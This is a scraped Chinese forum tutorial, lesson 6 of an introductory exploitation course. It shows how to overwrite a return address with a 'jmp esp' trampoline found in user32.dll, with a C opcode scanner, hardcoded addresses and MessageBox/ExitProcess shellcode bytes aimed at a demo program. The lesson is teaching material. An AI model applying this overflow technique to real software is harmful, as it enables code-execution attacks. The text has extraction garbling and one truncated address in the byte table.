標?題 :? 【技術專題】軟件漏洞分析入門_6_初級shellcode_定位緩沖區
作?者
:? failwest
時?間
:? 2007 - 12 - 18 , 21 : 23
鏈?接 :? http : //bbs.pediy.com/showthread.php?t=56755

6 講?shellcode初級_定位緩沖區
精勤求學,敦篤勵志
?
跟貼中看到已經有不少朋友成功的完成了前面的所有例題,今天我們在前面的基礎上,繼續深入。每一講我都會引入一些新的知識和技術,但只有一點點,因為我希望在您讀完貼之后就能立刻消化吸收,這是標準的循序漸進的案例式學習方法
?
另外在今天開始之前,我順便說一下后面的教學計劃:
?
我會再用
3 4 次的講座來闡述shellcode技術,確保大家能夠在比較簡單的漏洞場景下實現通用、穩定的溢出利用程序(exploit)
?
之后我會安排一次“期中考試”,呵呵,時間初步定在元旦的三天假期內。“期中考試”以exploit?me的形式給出。不用擔心,如果你掌握了我每堂課的內容,相信一定能獨立完成這些exploit?me的。
?
“優秀答卷”會有獎勵,這個我和看雪正在籌劃之中,不過提前告訴大家,至少我的書《
0day 安全:軟件漏洞分析與利用》和看雪的《加密與解密第 3 版》是少不了的,至于有沒有新的贊助和獎品,請大家留意最近論壇上的通知吧。
?
學習是一件枯燥的事情,包括安全技術在內。我只能讓這枯燥和晦澀的技術盡量變得生動有趣,但這并不意味著隨隨便便就能領會其中的內涵。精勤求學,敦篤勵志的精神永遠是需要的,不光是安全技術,學習任何東西都需要。
?
大家打起精神來,在學幾次,說不定在獲得exploit的樂趣的同時,還能賺點好處呢。呵呵。
?
好了,在開始今天課程之前,先回憶下第
5 講在結束時,我提出的windows平臺下的幾個關鍵問題:
?
1 :緩沖區距離返回地址間的距離確定,或者說緩沖區大小的確定。一般我們通過調試可以直接看出緩沖區的大小。但是實際漏洞利用中,有時緩沖區的大小甚至是動態?的,這臺機器上返回地址是 200 個字節的偏移,下個機器就可能變成 208 字節了。
?
2 :定位shellcode的位置。棧幀中的緩沖區地址經常是不定的,尤其是在windows平臺下。要想在淹沒返回地址后準確的返回到shellcode上,像第 5 講那樣直接在調試中查出來寫死在password . txt文件中肯定不行
?
3 :定位需要的API。在shellcode中一般要完綁定端口建立socket偵聽等功能,需要調用一系列windowsAPI。這些API的入口地址根據操作系統的版本,補丁版本會有很大差異。像第 5 講中那樣直接把API地址查出來是沒辦法寫出穩定的,通用的shellcode的
?
4 :shellcode對特定字節的敏感。在跟貼中已經有同學發現這個問題了,strcpy,fscan對于一些特定的字節有特殊的處理,如串截斷符? 0x00 等。當限制較少時,編寫shellcode還可以通過選用特殊指令來避免這些值,但有時會限制比較苛刻,這將對shellcode的開發帶來很大困難——用匯編寫程序本來就夠難了,還要考慮指令對應的機器碼的值
5 :shellcode的大小也很重要。即便是高手,完成一個比較通用的用于綁定端口的shellcode也要 300 400 字節。當緩沖區非常狹小時,有什么辦法能夠優化shellcode讓它變得更精悍些呢?
?
這些內容就是接下來幾講我們將要關注的東西。今天我們主要來看第
2 個問題,怎樣做到比較通用和穩定的確定緩沖區(shellcode)的位置。
?
?
????回憶第
5 講中的代碼植入實驗,當我們可以用越界的字符完全控制返回地址后,需要將返回地址改寫成shellcode在內存中的起始地址。在實際的漏洞利用過程中,由于動態鏈接庫的裝入和卸載等原因,windows進程的函數棧幀很有可能會產生“移位”,即shellcode在內存中的地址是會動態變化的,因此像第 5 講中那樣將返回地址簡單地覆蓋成一個定值的作法往往不能讓exploit奏效。
?
?

1
?
?
????
因此,要想使exploit不致于 10 次中只有 2 次能成功地運行shellcode,我們必須想出一種方法能夠在程序運行時動態定位棧中的shellcode。
?
回顧第
5 講中實驗在verify_password函數返回后棧中的情況:
?

2
?
?
綠色的線條體現了代碼植入的流程:將返回地址淹沒為我們手工查出的shellcode起始地址 0x0012FAF0 ,函數返回時這個地址被彈入EIP寄存器,處理器按照EIP寄存器中的地址取指令,最后棧中的數據被處理器當成指令得以執行。
?
紅色的線條則點出了這樣一個細節:在函數返回的時候,ESP恰好指向棧幀中返回地址的后一個位置!
?
????一般情況下,ESP寄存器中的地址總是指向系統棧中且不會被溢出的數據破壞。函數返回時,ESP所指的位置恰好是我們所淹沒的返回地址的下一個位置。
?
注意:函數返回時ESP所指位置與函數調用約定、返回指令等有關。如retn?
3 與retn? 4 在返回后,ESP所指的位置都會有所差異。
?
?

3
?
?
?
?
????
由于ESP寄存器在函數返回后不被溢出數據干擾,且始終指向返回地址之后的位置,我們可以使用上圖所示的這種定位shellcode的方法來進行動態定位:
?
用內存中任意一個jmp?esp指令的地址覆蓋函數返回地址,而不是原來用手工查出的shellcode起始地址直接覆蓋
?
函數返回后被重定向去執行內存中的這條jmp?esp指令,而不是直接開始執行shellcode
?
由于esp在函數返回時仍指向棧區(函數返回地址之后),jmp?esp指令被執行后,處理器會到棧區函數返回地址之后的地方取指令執行。
?
重新布置shellcode。在淹沒函數返回地址后,繼續淹沒一片棧空間。將緩沖區前邊一段地方用任意數據填充,把shellcode恰好擺放在函數返回地址之后。這樣jmp?esp指令執行過后會恰好跳進shellcode。
?
????這種定位shellcode的方法使用進程空間里一條jmp?esp指令做“跳板”,不論棧幀怎么“移位”,都能夠精確的跳回棧區,從而適應程序運行中shellcode內存地址的動態變化。
?
????下面就請和我一起把第
5 講中的password . txt文件改造成上述思路的exploit,并加入安全退出的代碼避免點擊消息框后程序的崩潰。
?
????我們必須首先獲得進程空間內一條jmp?esp指令的地址作為“跳板”。
?
????第
5 講中的有漏洞的密碼驗證程序已經加載了user32 . dll,所以我們準備使用user32 . dll中的jmp?esp指令做為跳板。這里給出兩種方法獲得跳轉指令。第一種當然是編程了,自己動手,豐衣足食。事實上所有的問題都能夠通過自己編程來解決的。這是我的程序
?
?
#include? < windows . h >
#include? < stdio . h >
#define? DLL_NAME? "user32.dll"
main ()
{
????
BYTE *? ptr ;
????
int? position , address ;
????
HINSTANCE?handle ;
????
BOOL?done_flag? =? FALSE ;
????
handle = LoadLibrary ( DLL_NAME );
????
if (! handle )
????{
????????
printf ( "?load?dll?erro?!" );
????????
exit ( 0 );
????}
?
????
ptr? =?( BYTE *) handle ;
?
????
for ( position? =? 0 ;?! done_flag ;? position ++)
????{
????????
try
????????
{
????????????
if ( ptr [ position ]?==? 0xFF? &&? ptr [ position + 1 ]?==? 0xE4 )
????????????{
????????????????
//0xFFE4?is?the?opcode?of?jmp?esp
????????????????
int? address? =?( int ) ptr? +? position ;
????????????????
printf ( "OPCODE?found?at?0x%x\n" , address );
????????????}
????????}
????????
catch (...)
????????{
????????????
int? address? =?( int ) ptr? +? position ;
????????????
printf ( "END?OF?0x%x\n" ,? address );
????????????
done_flag? =? true ;
????????}
????}
}
?
????
jmp?esp對應的機器碼是 0xFFE4 ,上述程序的作用就是從user32 . dll在內存中的基地址開始向后搜索 0xFFE4 ,如果找到就返回其內存地址(指針值)。
?
????如果您想使用別的動態鏈接庫中的地址如“kernel32
. dll” , “mfc42 . dll”等;或者使用其他類型的跳轉地址如call?esp,jmp?ebp等的話,也可以通過對上述程序稍加修改而輕易獲得。
?
????除此以外,還可以通過OllyDbg的插件輕易的獲得整個進程空間中的各類跳轉地址。
?
?
這里給出這個插件,點擊下載插件OllyUni
. dll:OllyUni . rar
?
?
?
把它放在OllyDbg目錄下的Plugins文件夾內,重新啟動OllyDbg進行調試,在代碼框內單擊右鍵,就可以使用這個插件了,如圖:
?
?

4
?
?
搜索結束后,點擊OllyDbg中的“L”快捷按鈕,就可以在日志窗口中查看搜索結果了。
?
????運行我們自己編寫程序搜索跳轉地址得到的結果和OllyDbg插件搜到的結果基本相同,如圖:
?

5
?
?
????
注意:跳轉指令的地址將直接關系到exploit的通用性。事實上kernel32 . dll與user32 . dll在不同的操作系統版本和補丁版本中,也是有所差異的。最佳的跳轉地址位于那些“千年不變”且被幾乎所有進程都加載的模塊中。選擇哪里的跳轉地址將直接影響到exploit的通用性和穩定性。
?
????這里不妨采用位于內存
0x77DC14CC 處的跳轉地址jmp?esp作為定位shellcode的“跳板”————我并不保證這個地址通用,請你在自己的機器上重新搜索。
?
????在制作exploit的時候,還應當修復第
5 講中的shellcode無法正常退出的缺陷。有幾種思路,可以恢復堆棧和寄存器之后,返回到原來的程序流程,這里我用個簡單點的偷懶的辦法,在調用MessageBox之后通過調用exit函數讓程序干凈利落的退出。
?
????這里仍然用dependency?walker獲得這個函數的入口地址。如圖,ExitProcess是kernel32
. dll的導出函數,故首先查出kernel32 . dll的加載基址: 0x7C800000 ,然后加上函數的偏移地址: 0x0001CDDA ,得到函數入口最終的內存地址? 0x7C81CDDA
?

6
?
?
????
寫出的shellcode的源代碼如下:
?
#include? < windows . h >
int? main ()
{????
????
HINSTANCE?LibHandle ;
????
char? dllbuf [ 11 ]?=? "user32.dll" ;
????
LibHandle? =? LoadLibrary ( dllbuf );
????
_asm {
????????????????
sub?sp , 0x440
????????????????
xor? ebx , ebx
????????????????push?ebx?
//?cut?string
????????????????
push? 0x74736577
????????????????
push? 0x6C696166 //push?failwest
?
????????????????
mov?eax , esp? //load?address?of?failwest
????????????????
push?ebx????
????????????????push?eax
????????????????push?eax
????????????????push?ebx
?
????????????????mov?eax
, 0x77D804EA? //?address?should?be?reset?in?different?OS
????????????????
call?eax? //call?MessageboxA
?
????????????????
push?ebx
????????????????mov?eax
, 0x7C81CDDA
????????????????
call?eax? //call?exit(0)
????
}
}
?
?
????
為了提取出匯編代碼對應的機器碼,我們將上述代碼用VC6 .0 編譯運行通過后,再用OllyDbg加載可執行文件,選中所需的代碼后可直接將其dump到文件中:
?
?

7
?
?
?
TIPS:不如直接在匯編碼中加一個__asm?int3,OD啟動后會自動停在shellcode之前。
?
?
????通過IDA?Pro等其他反匯編工具也可以從PE文件中得到對應的機器碼。當然如果熟悉intel指令集的話,也可以為自己編寫專用的由匯編指令到機器指令的轉換工具。
?
????現在我們已經具備了制作新exploit需要的所有信息:
?
搜索到的jmp?esp地址,用作重定位shellcode的“跳板”:
0x77DC14CC
?
修改后并重新提取得到的shellcode:
?
機器代碼(
16 進制)????匯編指令?????注釋
33? DB?????XOR?EBX , EBX????壓入NULL結尾的”failwest”字符串。之所以用EBX?
清零后入棧做為字符串的截斷符,是為了避免
“PUSH?
0 ”中的NULL,否則植入的機器碼會被
strcpy函數截斷。
53????? PUSH?EBX????
68?77?65?73?74????? PUSH? 74736577????
68?66?61?69?6C?????
PUSH? 6C696166????
8B?
C4?????MOV?EAX , ESP?EAX里是字符串指針
53????? PUSH?EBX?四個參數按照從右向左的順序入棧,分別為 :
(
0 , failwest , failwest , 0 )
消息框為默認風格,文本區和標題都是“failwest”
50????? PUSH?EAX????
50????? PUSH?EAX????
53????? PUSH?EBX????
B8?EA?
04? D8? 77????? MOV?EAX ,? 0x77D804EA???? 調用MessageBoxA。注意不同的機器這
里的函數入口地址可能不同,請按實際值填入
!
FF?D0?????CALL?EAX????
53????? PUSH?EBX?????調用exit ( 0 ) 。注意不同的機器這里的函數入口地址可
能不同,請按實際值填入
!
B8?DA?CD? 81?7C? MOV?EAX ,? 0x7C81CD????
FF?D0?????CALL?EAX????
?
按照第
5 講中對棧內情況的分析,我們將password . txt制作成如下形式:
?

8
?
?
?
????
現在再運行密碼驗證程序,怎么樣,程序退出的時候不會報內存錯誤了吧。雖然還是同樣的消息框,但是這次植入代碼的流程和第 5 講中已有很大不同了,最核心的地方就是使用了跳轉地址定位shellcode,進程被劫持的過程正如圖 3 中我們設計的那樣。你得到那個熟悉的消息框了么?
?
不要小看著一點點改進。這個改進在windows漏洞利用的歷史上有著舉足輕重的里程碑意義。在溢出研究開始,大家都關注于linux系列的平臺,阻礙大家研究windows平臺下溢出的一個非常重要的問題就是棧幀移位引起的緩沖區位置很難確定。
?
我把這些技術點分開來一個一個的講,是為了方便您的理解,也是為了加深印象。當您徹底領會了這些技術點之后,在后面講到用framework的方式編寫exploit的時候,您就能更輕松的掌握了。
?
好,今天到此為止。實驗成功了不要忘了在跟貼中吱——吱——吱啊,呵呵。下次見。